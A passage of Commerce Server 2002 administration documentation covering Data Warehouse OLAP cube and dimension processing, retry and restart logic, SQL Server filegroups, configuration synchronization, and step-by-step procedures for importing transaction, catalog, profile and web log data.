The PartitioningKey column is used by auto-partitioning to automatically create new partitions within the OLAP database on an as-needed basis. The PartitioningKey column must be one that can be converted to an 8-byte integer and back to its base type. The PartitioningKeySource can be the fact table, or another table that contains a superset of key values contained in the fact table, for example, a table containing import batch IDs. Note that while the PartitioningKeySource need not be the cube fact table, a column with the same name and data type of the PartitioningKey must be present within the fact table.


Data Warehouse Cube Tables

Cube processing behavior is controlled by two tables in the Data Warehouse, CubeProcInfo and CubePartitionInfo. The CubeProcInfo table contains data relevant to the cube and is used to define partitions for the cube. The CubePartitionInfo table defines the actual partitions within the cube and is used to track the processing state of data within the cube.

For more information about the CubeProcInfo table, see CubeProcInfo Table.

For more information about the CubePartitionInfo table, see CubePartitionInfo Table.

See Also

OLAP Cubes

ETL Process for the Report Preparation DTS Task


Processing OLAP Dimensions

After running stored procedures and defining cube partitions, the OLAP dimensions are processed by querying the DimProcInfo table and processing all dimensions with ProcessingEnabled set to 1, in order of ordinal.

For more information about the DimProcInfo table, see DimProcInfo Table.

If the processing option for the Report preparation task is set to Full, dimensions will be processed by using the processFull processing mode. This forces the dimension to be rebuilt and the data to be refreshed. If the Delete Data DTS task is used to remove dimension members, it is necessary to run the Report preparation DTS task in Full mode to ensure that old dimension members are properly purged. Otherwise, dimension builds might fail with duplicate name errors if old dimension values are re-imported to the Data Warehouse.

See Also

ETL Process for the Report Preparation DTS Task


Processing Physical Cube Partitions

Next, the partitions defined in CubePartitionInfo for each cube listed in the CubeProcInfo table are processed. The CubeProcInfo table is queried for a list of distinct ProcessingPass values. For every ProcessingPass returned, the stored procedure csdw_spGetCubeProcessingPass is called. This stored procedure returns a list of partitions associated with cubes in this pass that have the ProcessingEnabled flag set to 1.

If the Optimization value in the CubeProcInfo table associated with that partition is not NULL, then the DTS task designs and applies aggregations for the cube that target the percent optimization specified. For example, if Optimization is set to 15, then aggregations are designed with the goal of a 15% performance gain. All partitions are then processed by using the DSO processing option processFull. This rebuilds the schema and refreshes cube data.

Partitions for cubes listed in the CubeProcInfo table with the IncEnabled flag set are processed as follows:

  • If IncEnabled is set to 1, the cube is processed incrementally.

    This means if the Report preparation task is running in incremental mode, the cube is processed incrementally. Incremental processing causes a temporary partition to be created and populated with only those rows loaded into the Data Warehouse since the last time the Report preparation task ran. This temporary partition is then merged with the main cube.

  • If IncEnabled is set to 0, data for the cube’s partitions is always fully refreshed when the Report preparation task is run.

In Refresh Data or Incremental mode, external processes, including the Business Desk Reports module, should be able to query a cube while it is being processed. External processes cannot query the cube during a Full process until the cube is processed. This is because the full-dimension rebuild invalidates the existing cube.

Processing Keys

The ProcessingKey is used by incremental cube processing to determine if new data has been added to a fact table but not yet loaded into a cube. New rows inserted into the ProcessingKeySource and cube fact table must have ProcessingKey values greater than existing ProcessingKey values. The ProcessingKeySource can be the fact table or another table that contains a superset of key values contained in the fact table.

See Also

ETL Process for the Report Preparation DTS Task


Restart Logic for the Report Preparation Task

The processing states of dimensions are tracked in the DimProcInfo table by the columns: LastSuccessfulDate, LastProcessedDate, LastProcessedStatus, and LastProcessedDescr. These columns are updated each time the Report preparation task processes the dimension. If the processing was successful, LastProcessedStatus is set to zero and LastProcessedDescr is set to a localized string indicating success. These values are set by the stored procedure csdw_SetDimProcessingStatus.

The processing states of partitions are tracked in the CubePartitionInfo table by the columns: ProcessingState, LastSuccessfulDate, LastProcessedDate, LastProcessedStatus, LastProcessedDescr, and LastKeyProcessed. Before the Report preparation task initiates a partition process, it queries the ProcessingState and LastKeyProcessed columns.

If the task is being run in incremental mode and the cube is enabled for incremental processing (as indicated by the IncEnabled column), the task examines the ProcessingState column. If this column is set to zero, the task will incrementally process the cube, loading only the facts that have a LastKeyProcessed value that is greater than the value retrieved from the CubePartitionInfo table. If the value of ProcessingState is set to 1, it indicates that the task cannot determine whether the last cube process was successful. In this situation, the Report preparation task must perform a full data refresh of the partition to ensure that duplicate facts are loaded into the cube.

Before a partition is processed in any mode, the stored procedure csdw_InitPartitionProcessing is run for the cube. This sets the ProcessingState column to one. After a cube is processed, the success or failure of that processing attempt is written to the database by the stored procedure csdw_SetPartitionProcessingStatus. This procedure sets the ProcessingState to zero, the LastKeyProcessed to the current max ProcessingKey value, and the LastSuccessfulDate, LastProcessedDate, LastProcessedStatus, and LastProcessedDescr columns to the appropriate values.

The Report preparation DTS task will reattempt processing if it encounters certain error conditions that are identified as "retryable" errors. If it encounters one of these errors, the Report preparation task will wait for the configured retry interval and reattempt the processing operation until the configured number of retries is exhausted.

The list of errors that, if encountered, cause the Report preparation task to retry processing, is stored as the REG_MULTI_SZ value "Retryable Errors" under the registry key HKLM\SOFTWARE\MICROSOFT\Commerce Server\PostImportDTS. You can add entries to or remove entries from this list to modify the retry behavior of the Report preparation task.

If the registry value exists, the Report preparation task will use the values specified as "Retryable Errors." If the registry value does not exist, the Report preparation task will create it, populating it with a default set of error codes.

The following table lists the HRESULTS initialized in the registry key for which the Report preparation task will reattempt processing:

HRESULT | Description
2147217495 | Asynchronous executable object reporting error on Data Source Object (DSO) commit.
2147221457 | The DSO cannot locate the Windows NT server.
2147221455 | The DSO cannot connect to Analysis Services.
231 | The DSO cannot connect to the Analysis data source (for example, the Data Warehouse SQL Server database).
2147221468 | The Analysis object is locked.
2147467259 | The service dbnetlib cannot connect to the SQL Server computer.
2147221386 | An ODBC error has occurred. (This error occurs if SQL Server stops responding during cube or dimension processing.)
2147221453 | The task cannot connect to the repository. (This error occurs if you are using a SQL Server repository and SQL Server stops responding while the task is being processed.)
2147221387 | A network error has occurred.
2147221424 | The DSO cannot connect to Analysis Services.

See Also

ETL Process for the Report Preparation DTS Task


Tracing the Report Preparation Task

The Report preparation task uses the OutputDebugString function to report trace messages. Debugging tools capable of intercepting and displaying debug strings can be used to examine the systematic operations that are carried out by the Report preparation task. This differs from the other DTS tasks that use the CSDWDbgSrv.EXE utility to display trace messages.

See Also

ETL Process for the Report Preparation DTS Task


ETL Process for the Report Caching DTS Task

The Report Caching DTS task runs OLAP report definitions stored in the Data Warehouse before they are built by using the Analysis category of Business Desk. The results are then cached on the OLAP server for more expedient retrieval when the report is run from Business Desk. Reports previously cached by the Report Caching DTS task can run two orders of magnitude faster than non-cached reports.

This task can be run on a Data Warehouse that contains one or more sites, and can be run per site or per Data Warehouse. If the task is run on all sites in a Data Warehouse, it will run each report one time per site.

The Report Caching DTS task uses the ReportPreExec table to determine which reports to run and in what order to run them. For more information about the ReportPreExec table, see ReportPreExec Table.

The Report Caching DTS task uses the OutputDebugString function to report trace messages. Use a tool capable of intercepting debugging output to intercept and display debug strings, and examine the systematic operations being carried out by the Report preparation task. This differs from the other DTS tasks that use the CSDWDbgSrv.EXE utility to display trace messages.

The Report Caching DTS task ignores errors that occur while running reports. If an error that is not related to running reports is encountered during task execution, the Report Caching task checks for the retry status of the error. If the error is listed as the REG_MULTI_SZ value "Retryable Errors" under the registry key HKLM\SOFTWARE\MICROSOFT\Commerce Server\OLAPCacheWarmer, the Report Caching task waits for the configured retry interval and reattempts the processing operation until the configured number of retries is exhausted.

You can add entries to or remove entries from the list to modify the retry behavior of the Report Caching task.

See Also

Running the Report caching DTS Task

Scripting the Report caching DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


Creating New Data Warehouse Filegroups

You can use SQL Server filegroups to improve the performance of the Data Warehouse by distributing data across multiple disks and by using parallel threads for query processing. Additionally, filegroups can make managing the Data Warehouse databases easier.

SQL Server has a primary file group that contains the primary data file with the system tables. You can create user-defined file groups that contain data files that are grouped together for allocation and administrative purposes.

You can create multiple data files on separate disks and create a user-defined filegroup to contain the files. If you create file groups, try to have one file per physical disk. You can use filegroups to organize your data files, for example to separate files that are heavily queried from those that are heavily modified.

SQL Server designates one filegroup as the default filegroup. The default filegroup is set to the primary filegroup at the time of database creation, unless you specify otherwise. The default filegroup contains the pages for all tables and indexes that do not have a filegroup specified when they are created.

If the default filegroup is left as the primary filegroup, you must size the primary filegroup appropriately or set it to automatically grow so that you do not run out of space. The primary filegroup must be large enough to hold all system tables and any tables and indexes not allocated to a user-defined filegroup.

If the primary filegroup runs out of space, you will be unable to add any information to the system tables. However, if a user-defined filegroup runs out of space, only the user files that are specifically allocated to that file group are affected.

User-defined filegroups can improve performance by balancing data load across multiple disks and by using parallel threads to improve data access. When you create a table, you can assign it to a user-defined filegroup. As data is written to the filegroup, each file is filled in parallel.

Each file is physically placed on a disk or a set of disks. SQL Server maintains a file map that associates each database object with its location on the disk. For example, if one file is created on a filegroup that spans four disks, one file map points to the location of data on all four physical disks. If two files are created on a filegroup that spans four disks, two file maps (one map for each file) point to the location of the data on all four physical disks.

Filegroups use parallel threads to improve data access. When a table is accessed sequentially, the system creates a separate thread for each file in parallel. When the system performs a table scan for a table in a filegroup with four files, it uses four separate threads to read the data in parallel. In general, using multiple files on separate disks improves performance. Too many files in a filegroup can cause too many parallel threads and create bottlenecks.

In addition to using filegroups to balance data loads for performance, you can use filegroups to simplify maintenance.

To use filegroups to simplify maintenance:

  • Back up or restore individual files or filegroups instead of backing up or restoring an entire database. Backing up files or filegroups might be necessary on large databases to have an effective backup and restore strategy.
  • Group tables and indexes with similar maintenance requirements into the same filegroups. For example, you might need to perform maintenance on some objects more frequently than on others. By creating two filegroups and assigning tables to them, you can run daily maintenance tasks against the tables in a daily group, and weekly maintenance tasks against the tables in a weekly group. This limits disk contention between the two filegroups.
  • Assign an individual high-maintenance table to its own filegroup. A table that has frequent updates might need to be backed up and restored separately from the database as a whole.

Notes

  • A maximum of 256 filegroups can be created for each database.
  • Filegroups can contain only data files.
  • Transaction logs cannot be part of a filegroup.
  • Filegroups cannot be created independently of database files. A filegroup is an administrative mechanism for grouping files within a database.

Best practices for creating filegroups

Before you create filegroups, you must understand your database structure, data, transactions, and queries thoroughly to determine the best way to place tables and indexes on specific filegroups.

When creating filegroups, you should:

  • Use maintenance requirements rather than performance considerations to determine the number of filegroups.
In many cases, using the striping capabilities of RAID provides much of the same performance gain that you might achieve with filegroups, without the added administrative burden of defining and managing them.
  • Change the default filegroup if you use filegroups.
If you create multiple filegroups for your database, you should assign one as the default. This prevents unexpected table growth from constraining the system tables in the primary filegroup.
  • Be aware that filegroups do not provide fault tolerance.
To include fault tolerance, you can mirror each disk by using RAID 1. However, this is an expensive option.
  • Combine filegroups with hardware-based RAID to optimize your databases.
You can combine filegroups with hardware-based RAID solutions. First, set up hardware striping, and then use filegroups to spread data across multiple hardware stripe sets. A separate thread used for each file provides parallel data access, and the load is spread among multiple disks to reduce contention.

To create a new database in a filegroup

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Right-click Databases, and then click New Database.
  3. In the Database Properties dialog box, in the Name box, type a name for the new database.

    Note

    • The primary database and transaction log files are created by using the database name you specified as the prefix, for example newdb_Data.mdf and newdb_Log.ldf. The initial sizes of the database and transaction log files are the same as the default sizes specified for the model database. The primary file contains the system tables for the database.
  4. On the Data Files tab, click the Ellipsis next to the first open position in the File Name list.
  5. In the Locate Database File dialog box, navigate to the location for the new database file, in the File name box, type the name of the new database file, and then click OK.
  6. In the Database Properties dialog box, on the Data Files tab, do the following:
    Use this | To do this
    File Name | Type the file name for the database file.
    Location | Type the location of the database file, or click the ellipsis to navigate to the location.
    Initial size (MB) | Type the initial size of the database file in megabytes (MB).
    Filegroup | Type the name of the filegroup to which the database file will belong.
  7. Click OK.

The database is created, and the new data file belongs to the specified file group.


Running the Configuration Synchronization DTS Task

You use the Configuration synchronization DTS task to import the site configuration data stored in the Administration database into the Data Warehouse. (This differs from the Synchronize Values button in the Application Properties dialog box. When you click this button, Commerce Server reads the values from the IIS metabase to the Administration database, and then from the Administration database to the Data Warehouse. For more information, see Configuring an Application.)

In addition to running the Configuration synchronization DTS task to import site configuration data into the Data Warehouse, you accomplish the same step when you do either of the following:

  • Configure the Data Warehouse resource.
  • Unpack a site.

The Data Warehouse stores the site configuration data, which includes site topology settings, instead of reading it from the Administration database.

You can choose to synchronize the Data Warehouse with a single site, or with all of the sites in the Data Warehouse. You must run the synchronize task before you run any import or delete tasks.

Note

  • You cannot cancel this task after it is started. Although you can click Cancel, the task does not stop.

To synchronize a single site configuration with the Data Warehouse

To synchronize multiple site configurations with the Data Warehouse

To synchronize a single site configuration with the Data Warehouse

  1. Expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then click Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Configuration synchronization (Commerce Server).
  4. In the Synchronize DW Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for the synchronize task.
    Operation level | Select from the drop-down list Site level to synchronize a site with the Data Warehouse.
    Site name | Select from the drop-down list the site that you want to synchronize with the Data Warehouse.
  5. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  6. Click OK.
  7. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your synchronization. When the process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  8. Click OK, and then click Done.

The Data Warehouse is synchronized with your Commerce Server site configuration. You can now configure Web log file import properties and import data into the Data Warehouse.

To synchronize multiple site configurations with the Data Warehouse

  1. Expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Configuration synchronization (Commerce Server).
  4. In the Synchronize DW Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for the synchronize task.
    Operation level | Select from the drop-down list Data Warehouse level to synchronize all sites with the Data Warehouse.
    Data Warehouse name | Select from the drop-down list the Data Warehouse that you want to synchronize with the sites.
  5. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Time between attempts (seconds) | Type the amount of time you want the task to wait between retry attempts. The default time interval is 30 seconds.
  6. Click OK.
  7. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your synchronization. When the process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  8. Click OK, and then click Done.

The Data Warehouse is synchronized with your Commerce Server site configurations. You can now import data into the Data Warehouse.

See Also

Configuring the Default Web Site Properties for Import

Configuring the Web Server Log Import DTS Task

Configuring an Application

Adding a Non-Commerce Application to a Site

Extending the Data Warehouse

Data Warehouse Schema


Importing Data into the Data Warehouse

You use the Commerce Server import DTS tasks to import data into the Data Warehouse. Import data into the Data Warehouse in the following order, so that fact data is imported first and then dimension data:

  • Web Log File Data
  • Transaction Data
  • Product Catalog Data
  • Profile Data
  • Campaign Data

You can manually configure the Commerce Server DTS tasks to import data, or you can use the Data Warehouse Import Wizard. For more information about the wizard, see Data Warehouse Import Wizard.

This section contains:

  • Specifying Data to be Imported into the Data Warehouse
  • Changing the Time Zone and Start Day of Week for Imported Data
  • Configuring the Default Web Site Properties for Import
  • Specifying the Location of a Log File to the Data Warehouse
  • Configuring the Web Server Log Import DTS Task
  • Running the Web Server Log Import DTS Task
  • Running the Web Server Log Import DTS Task for a Large Site
  • Running the Transaction Data Import DTS Task
  • Running the Product Catalog Data Import DTS Task
  • Running the Profile Data Import DTS Task
  • Running the Campaign Data Import DTS Task
  • Importing Multilingual and Multicurrency Data
  • Importing Cookies
  • Retrying a DTS Task


Specifying Data to be Imported into the Data Warehouse

Commerce Server automatically imports all transaction and Web server log file data into the Data Warehouse. However, you can use Commerce Server Business Desk to select which catalog data is to be imported into the Data Warehouse.

This section contains:

  • Selecting Transaction Properties for Import
  • Selecting Catalog Properties for Import
  • Selecting Profile Properties for Import
  • Processing the New Properties


Selecting Transaction Properties for Import

You use the TransDimension table in the Commerce database to select which transaction properties are imported into the Data Warehouse during the Transaction Data Import DTS task.

This procedure assumes that both the Commerce database and the Data Warehouse have been extended with a new column in the OrderformHeader, OrderformLineItems, OrderGroup or OrderGroupAddresses tables. The name of the extended table in the Commerce database must match the name of the extended table in the Data Warehouse. The name of the column added to each table must also match.

To select transaction properties to be imported into the Data Warehouse by the Transaction data import DTS task

  1. Click Start, point to Administrative Tools, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Microsoft SQL Server, expand SQL Server Group, expand the node for the local server, expand Databases, expand the Commerce database, for example Retail_commerce, and then click Tables.
  3. In the Commerce Server Manager content pane, right-click TransDimension, point to Open Table, and then click Return all rows.
  4. The last row of the table is blank. Enter the following data in the last row:
    Column name Entry
    DimensionName
             Type the name of the new column.
    FieldName
             Type the name of the new column.
    CategoryName
             Type the name of the extended table.
    KeyField
             0
    RequiredDim
             1
  5. Click the ! button on the toolbar to save your changes.

The next time the Transaction data import DTS task is run, data stored in the extended column of the Commerce database is imported to the extended column of the Data Warehouse.


Selecting Catalog Properties for Import

You use Business Desk to select which catalog properties are to be imported into the Data Warehouse.

To select catalog properties to be imported into the Data Warehouse

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer screen, click View on the toolbar, and then select Property Definition from the drop-down list.
  3. In the Property Definitions screen, select the property you want to import into the Data Warehouse, and then click Open on the toolbar.
  4. In the Property Definitions - <Property Name> screen, select Store data for analysis.
  5. To save your changes and return to the Catalog Definition Designer screen, click Save and go back on the toolbar.
  6. To publish your changes to your Web site, click Catalog Editor, and then click Publish a catalog on the toolbar.

Data for this catalog property will be collected in the Commerce Server database.

Notes

  • You cannot change the name or type of property in a catalog definition. You can delete the property, and then add it again using a new name and type.
  • To extend the Data Warehouse schema so you can import different types of data, you must use Commerce Server 2002 Enterprise Edition. This functionality is not available in Commerce Server 2002 Standard Edition.


Selecting Profile Properties for Import

You use Business Desk to select which profile properties are to be imported into the Data Warehouse.

Note

  • It is important to take proper security measures when you collect personal profile data on your site, import the data into the Data Warehouse, and display the data in analysis reports. For information about securing profile data and the Data Warehouse, and controlling access to reports, see Securing Your Site.

This section contains:

  • Mapping Profile Properties to Columns in the RegisteredUser Table
  • Customizing the Name of the Data Warehouse Column for a Profile Property

To select profile properties to be imported into the Data Warehouse

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property you want to import into the Data Warehouse, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property or property group that you want to import into the Data Warehouse.
  4. In the Detailed Information section, click Advanced Attributes.
  5. Select Exported, and then click Save and go back on the toolbar.
  6. Click Publish Profiles.
  7. In the Publish Profiles screen, select the site that you want to publish profile definition changes to, and then click Publish profile changes to production and refresh the cache on the toolbar.

Data for this profile property will be collected in the Commerce Server database.

Note

  • You cannot edit the name of a property after it has been created. You can edit the display name, but the actual programmatic name remains static. If you want to change the programmatic name, you must delete the property and add it again with the new programmatic name.

Mapping Profile Properties to Columns in the RegisteredUser Table

Commerce Server 2002 ships with several profile definitions that you can use for your site. If you choose to create custom profile definitions and still want to use the Commerce Server 2002 analysis reports, you will need to map the properties of your custom profile definitions to the tables and columns in the Data Warehouse that provide the data for analysis reports. If you choose to store your data in custom tables, you will need to create new reports that access the data in those tables.

Each exported profile property must be mapped to a profile data source for storage before being imported into the Data Warehouse. For information about mapping profile properties to data sources, see Mapping Profile Properties to Storage Locations.

If you create a custom profile definition to collect user data on your Web site, and you want to use the data collected with it in Commerce Server profile reports, you will need to store the information in the existing columns in the RegisteredUser table in the Data Warehouse.

If the data is not needed for reports, or if you are writing custom reports to use the data, running the Profile data import DTS task will create a new class (table) and columns in the Data Warehouse.

To map the data collected with your user profile definition to the RegisteredUser table in the Data Warehouse, you need to add the following to your user profile definition:

  • DWClassName. A profile definition custom attribute that allows you to define the name of the object (in this case the RegisteredUser table) in the Data Warehouse to which the profile will export data. If the class (table) does not exist in the Data Warehouse, the DTS task will create it.
  • DWMemberName. A profile property custom attribute that allows you to define the name of the data member (in this case the column in the RegisteredUser table) in the Data Warehouse where the profile property will be stored. If the member name (column) does not exist in the specified Data Warehouse class (table), the DTS task will create it. For a list of data members (columns) in the RegisteredUser table, see RegisteredUser.

    Note

    • If you choose to store the data in a new column, assign the name of the new column as the value of DWMemberName for the property to be stored in that column. The DTS task will add the column to the RegisteredUser table when it runs. The data in the new column, however, will not be used in any Commerce Server reports. If you want to run reports on data in new tables and columns in the Data Warehouse, you will need to create new reports. For information about creating new reports, see Creating Custom Reports.
  • Date_Last_Changed a profile property of type DATETIME that is needed by the DTS task to perform incremental updates. This property is included in the sample profile definitions that ship with Commerce Server 2002. For information about adding a property to a profile definition, see Adding Properties to Profile Definitions in the Profiles Resource. For information about the sample profile definitions that ship with Commerce Server 2002, see Sample Profile Definitions.

For more information about Data Warehouse classes, see Dividing the Data Warehouse into Primary Business Categories. For more information about Profile classes in the Data Warehouse, see Profile Management Classes in the Data Warehouse.

To add the DWClassName custom attribute to a profile definition that maps to the RegisteredUser table in the Data Warehouse

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click your user object profile definition, and then click Properties.
  2. In the Properties dialog box, on the Custom Attributes tab, click New.
  3. In the Custom Attribute dialog box, do the following:
    Use this | To do this
    Name | Type DWClassName.
    Display name | Type Data Warehouse class name.
    Description | Type Class name in Data Warehouse.
    Value | Type RegisteredUser.
  4. Click OK to close the Custom Attribute dialog box.
  5. Click OK to close the Properties dialog box.

After you have added the DWClassName custom attribute to the user profile definition, add the DWMemberName custom attribute to each property in the user profile definition that will be exported to the Data Warehouse. The DWMemberName custom attribute is used to map profile definition properties to the columns in the table specified with the DWClassName custom attribute.

To add the DWMemberName custom attribute to a profile property that maps to a column in the RegisteredUser table in the Data Warehouse

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the property to which you want to add the custom attribute.
  2. In the profile designer screen, in the Properties list, select the property to which you want to add the custom attribute.
  3. In the profile designer screen, in the Advanced Attributes section, in the Map to Data box, click Ellipsis to open the Data Source Picker dialog box.
  4. In the Data Source Picker dialog box, expand the data source that contains the data object that contains the data member with which you want to map the property.
  5. Expand the data object that contains the data member with which you want to map the property, select the data member, and then click OK.
  6. In the profile designer screen, in the Advanced Attributes section, select Exported to specify that this property will be imported into the Commerce Server Data Warehouse. You can export only mapped properties.

Note

  • You cannot export properties that are multi-valued and of the type Boolean or properties of type binary, long string, or password.
  1. In the profile designer screen, in the Custom Attributes section, click New.
  2. In the profile designer screen, in the Custom Attributes section, do the following:
    Use this | To do this
    Name | Type DWMemberName.
    Display Name | Type DWMemberName.
    Description | Type Data Warehouse member name.
    Value | Type the name of the column in the RegisteredUser table where the data should be stored.
  3. Click Accept, and then click Apply.
  4. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the custom attribute.

Customizing the Name of the Data Warehouse Column for a Profile Property

For profiles, you can customize the name of the column in the Data Warehouse for the new profile property. In addition, you can export the property to a particular column that already exists in the Data Warehouse.

To customize the name of the column for a profile property

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property you want to import into the Data Warehouse, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property or property group that you want to import into the Data Warehouse.
  4. In the Detailed Information section, click Custom Attributes.
  5. In the Custom Attributes section, click New, and then do the following:
    Use this | To do this
    Name | Type DWMemberName.
    Value | Type a name for the column.
  6. Click Accept, click Apply, and then click Save and go back on the toolbar.
  7. Click Publish Profiles.
  8. In the Publish Profiles screen, select the site to which you want to publish profile definition changes, and then click Publish profile changes to production and refresh the cache on the toolbar.

A column with the name you specified is added to the Data Warehouse the next time you run the Profile data import task.


Processing the New Properties

After the new properties are in production on your Web site, you can run the Product Catalog Import DTS task and the Profile Data Import DTS task. The DTS tasks process the new properties as follows:

  1. The DTS tasks compare the existing Data Warehouse schema with the profile schema or catalog schema.
  2. The DTS tasks add new columns to the Data Warehouse schema as needed, and then import data into the Data Warehouse. An incremental import adds values only for new columns; a full import adds all the data.
  3. The DTS tasks automatically create the new Data Warehouse class and member(s) for the new properties. The DTS tasks do not create any relations in the Data Warehouse.

See Also

Extending the Data Warehouse

Data Warehouse Schema


Changing the Time Zone and Start Day of the Week for Imported Data

When time data is imported into the Data Warehouse, it is assigned a time zone and start day of the week.

By default, the Data Warehouse inherits the time zone and start day of the week from Microsoft SQL Server. You can also configure the time zone and start day of the week that the Data Warehouse assigns to imported time data.

To change the time zone and start day of the week

  1. Expand Commerce Server Manager, expand Global Resources, right-click Data Warehouse, and then click Properties.
  2. On the Time tab of the Data Warehouse Properties dialog box, do the following:
    Use this | To do this
    Adjust time zone to | Select from the drop-down list the time zone.
    Start day of the week | Select from the drop-down list the start day of the week.
  3. To save your changes, click OK.

    Note

    • The SQL Server start day of the week is used in reports. The start day of the week you set in the Data Warehouse Properties dialog box is used to aggregate data imported from Web log files in weekly intervals.


Configuring the Default Web Site Properties for Import

Before you can import Web log files into the Data Warehouse, you must configure the Web log file properties to use the World Wide Web Consortium (W3C) log file format. You configure the Web log file properties by using Internet Services Manager.

To configure the default Web site properties for import

  1. Expand Internet Information Services, expand the server on which you unpacked the site, right-click the default Web site, and then click Properties.
  2. On the Web Site tab, in the Default Web Site Properties dialog box, do the following:
    Use this | To do this
    Enable Logging | Select this check box if you want to enable the log to record Web site activity.
    Active log format | Select W3C Extended Log File Format from the drop-down list.
  3. Click Properties.
  4. On the Extended Properties tab, in the Extended Logging Properties dialog box, do the following:
    Select this | To import this
    Date | The date on which activity occurred on your Web site.
    Time | The time the activity occurred.
    Client IP Address | The IP address of the client that accessed your server.
    User Name | The name of the user who accessed your server.
    Server IP Address | The IP address of the server on which the log entry was generated.
    Server Port | The port number the client is connected to.
    Method | The action the client was trying to perform (for example, open a Web page).
    URI Stem | The Uniform Resource Identifier (URI) stem of the resource accessed, for example, an HTML page.
    URI Query | The query, if any, that the client was trying to perform. For example, a search string for which a client was seeking a match.
    HTTP Status | The status of the action, in HTTP terms.
    Win32 Status | The status of the action, in terms used by Microsoft Windows.
    Bytes Sent | The number of bytes sent by the server.
    Bytes Received | The number of bytes received by the server.
    User Agent | The browser used on the client.
    Cookie | The content of the cookie sent or received.
    Referrer | The site that directed the user to the current site.

    Important

    • You must select Client IP address, URI stem, and Time for Web log files to be imported correctly. Include the Date property to ensure accuracy in the reporting of dates. For information about setting Web server properties, see Configuring a Web Server.
    • Do not select Use local time for file naming and rollover. The Data Warehouse requires that the log file names are in Greenwich Mean Time (GMT). Setting this option could cause some log files to not be imported.
  5. Click OK to exit the Extended Logging Properties dialog box, and then click OK to exit the Default Web Site Properties dialog box.

The Web log file properties are configured in the W3C log file format.

After you have configured the default Web site properties for import into the Data Warehouse, you will need to synchronize the IIS properties in Commerce Server Manager with the properties in the IIS metabase and the Data Warehouse. For instructions for synchronizing the IIS properties with the Data Warehouse, see Running the Configuration Synchronization DTS Task.

See Also

Troubleshooting the Data Warehouse Import Process


Specifying the Location of a Log File to the Data Warehouse

Perform the following steps to specify the location of a log file to be imported into the Data Warehouse.

To specify the location of a log file to the Data Warehouse

  1. Expand Internet Information Services, expand the server name, right-click Default Web Site, and then click Properties.
  2. In the Default Web Site Properties dialog box, click Properties.
  3. In the Extended Logging Properties dialog box, on the General Properties tab, type the path of the log file directory in the Log file directory box.
  4. Click OK to exit the Log file Properties dialog box, and then click OK to exit the Default Web Site Properties dialog box.

The Data Warehouse can find the log file for your Web site.

See Also

Configuring a Web Server

Configuring an Application

Adding a Non-Commerce Application to a Site

Running the Configuration Synchronization DTS Task

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Configuring the Web Server Log Import DTS Task

You can configure seven sets of properties to control and customize the data you import into the Data Warehouse from your Web log files. The settings that you select for these properties can improve your analysis of the data, as well as make your import processes faster and your Data Warehouse more manageable.

Note

  • Unless specified otherwise, these settings apply to all of the applications in the site and all sites associated with the Data Warehouse.

The following property sets control what data is imported from your Web log files into the Data Warehouse:

  • Setting Web Log Default Files. Ensure that the hit counts for unique visitors to your site default page are accurate, allowing for redirects and multiple versions of your URL.
  • Setting Web Log File Exclusions. Prevent the following data from being imported into the Data Warehouse: hits from certain hosts, requests for specific file types or expressions, and hits by crawlers.
  • Setting User Inferences. Customize the assumptions made during import about users and visits in order to best meet the analysis needs of your organization.
  • Setting Visit Inferences. Customize the assumptions made during import about users and visits in order to best meet the analysis needs of your organization.
  • Setting Time Overlap and Log File Rotation Properties. Customize the response to time overlaps in log files.
  • Setting Query String Import Properties for Web Log Files. Import Web site query strings, so that the data associated with them can be analyzed.
  • Setting Web Log Import Restart Properties. Automatically restart log imports after encountering an erroneous log file.

See Also

Running the Configuration Synchronization DTS Task

Importing Data into the Data Warehouse

Running the Report Preparation DTS Task

Extending the Data Warehouse

Data Warehouse Schema


Setting Web Log Default Files

A default file, also known as a directory index file or home page, is the Web page that users reach when they type a site URL that does not contain a specific file name in the Address box of their browser. For example, users reach the www.microsoft.com/default.htm page when they type either www.microsoft.com or www.microsoft.com/default.htm in their browser. Web log files, however, count the two URLs as hits to two different pages.

You can set the Default Files option in Commerce Server 2002 to designate multiple URLs to be counted as hits to the same page. You can use this option to create redirects and multiple paths into your site without decreasing the accuracy of your total site user statistics.

In addition, you can choose to display file name strings without their top-level directories before they are imported. This practice makes it easier to work with your files if your site directories are stored in a subdirectory that you do not need to view in your reports.

For Internet Information Services (IIS) 5.0, this setting is synchronized automatically during setup with the base URL directory index files that are listed in IIS.

Notes

